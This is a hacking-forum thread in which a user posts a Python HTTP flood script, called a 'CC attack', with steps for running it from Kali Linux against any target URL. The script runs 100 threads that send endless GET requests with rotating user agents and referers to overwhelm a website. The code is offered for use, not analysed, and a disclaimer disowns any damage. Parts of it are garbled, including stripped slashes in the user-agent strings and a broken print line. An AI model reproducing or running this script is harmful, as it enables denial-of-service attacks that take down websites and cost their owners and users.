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Thread: [CC Attack \(Challenge Collapsar attack\)](#)

Motor-m - February 3, 2026, 8:54 pm

???use kali vm:and need :

- 1.python3.13(or more higher Version)
- 2.smart brain(just joke)
- 3.root/kali password(often passwd:kali)

do in kali:

1:sudo su

2:nano cc.py

3:paste:

```
import requests
import random
import threading
import time
```

```
ua_pool = [
    "Mozilla 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
    "Mozilla 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 119.0.0.0 Safari 537.36",
    "Mozilla 5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
    "Mozilla 5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko 20100101 Firefox 121.0",
    "Mozilla 5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit 605.1.15 (KHTML, like Gecko) Version 17.1 Safari 605.1.15",
    "Mozilla 5.0 (X11; Linux x86_64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 120.0.0.0 Safari 537.36",
    "Mozilla 5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit 605.1.15 (KHTML, like Gecko) Version 17.1 Mobile 15E148 Safari 604.1"
]
```

```
referer_pool = [
    "google search",
    "bing search",
    "baidu search",
    "yahoo search",
    ""
]
```

```
target = "YOUR_TARGET_URL_HERE"
```

```

num_threads = 100
stats = {"success": 0, "error": 0, "bytes": 0}
lock = threading.Lock()

def attack():
    session = requests.Session()

    while True:
        headers = {
            "User-Agent": random.choice(ua_pool),
            "Accept": "text/html,application/xhtml+xml,application/xml",
            "Accept-Language": "zh-CN,zh,en",
            "Accept-Encoding": "gzip, deflate",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1"
        }

        ref = random.choice(referer_pool)
        if ref:
            headers["Referer"] = ref

        try:
            response = session.get(target, headers=headers, timeout=10)

            with lock:
                stats["success"] += 1
                stats["bytes"] += len(response.content)

                if stats["success"] % 200 == 0:
                    mb = stats["bytes"] / 1024 / 1024
                    print(f"[+] Requests: {stats['success']} | "
                        f"Errors: {stats['error']} | "
                        f>Data: {mb:.2f} MB")

        except Exception as e:
            with lock:
                stats["error"] += 1
                if stats["error"] % 50 == 0:
                    print(f"[!] Error count: {stats['error']}")

            time.sleep(random.uniform(0.05, 0.2))

print(f"[*] Starting {num_threads} concurrent connections")
print(f"[*] Target: {target}")
print(f"[*] Press Ctrl+C to stop\n")

threads = []
for i in range(num_threads):
    t = threading.Thread(target=attack, daemon=True)
    t.start()
    threads.append(t)
    time.sleep(0.01)

```

```
try:
    while True:
        time.sleep(5)
except KeyboardInterrupt:
    print("\n[!] Stopping...")
    time.sleep(1)
    print(f"\n=== Final Statistics ===")
    print(f"Successful Requests: {stats['success']}")
    print(f"Failed Requests: {stats['error']}")
    print(f"Total Data Received: {stats['bytes'] / 1024 / 1024:.2f} MB")
[/code]
```

4:NOTE: Before running, you need to:

1. Replace "YOUR_TARGET_URL_HERE" with your actual target
2. Fix User-Agent strings (add back slashes in version numbers)
3. Fix referer_pool URLs (replace descriptions with actual URLs)
4. Fix Accept header MIME types

5:python3 cc.py

All website attacks and any resulting damage or financial losses are unrelated to this tutorial. By following the Hack Forums Code of Conduct, once you download the file, you agree to this disclaimer.

-have a good day-
-Motor-m [warn]

artisanhiku - February 4, 2026, 12:39 am
thanks

lalou12 - February 6, 2026, 2:46 am
do you have a telegram account ?

Motor-m - February 6, 2026, 11:11 am
(Feb 4, 2026 01:39 AM)artisanhiku Wrote: [\[CITE\]](#) thanks
no,but have a good day?
-Motor-m

(Feb 6, 2026 03:46 AM)lalou12 Wrote: [\[CITE\]](#) do you have a telegram account ?
no,any other thing need please till me
-Motor-m [warn]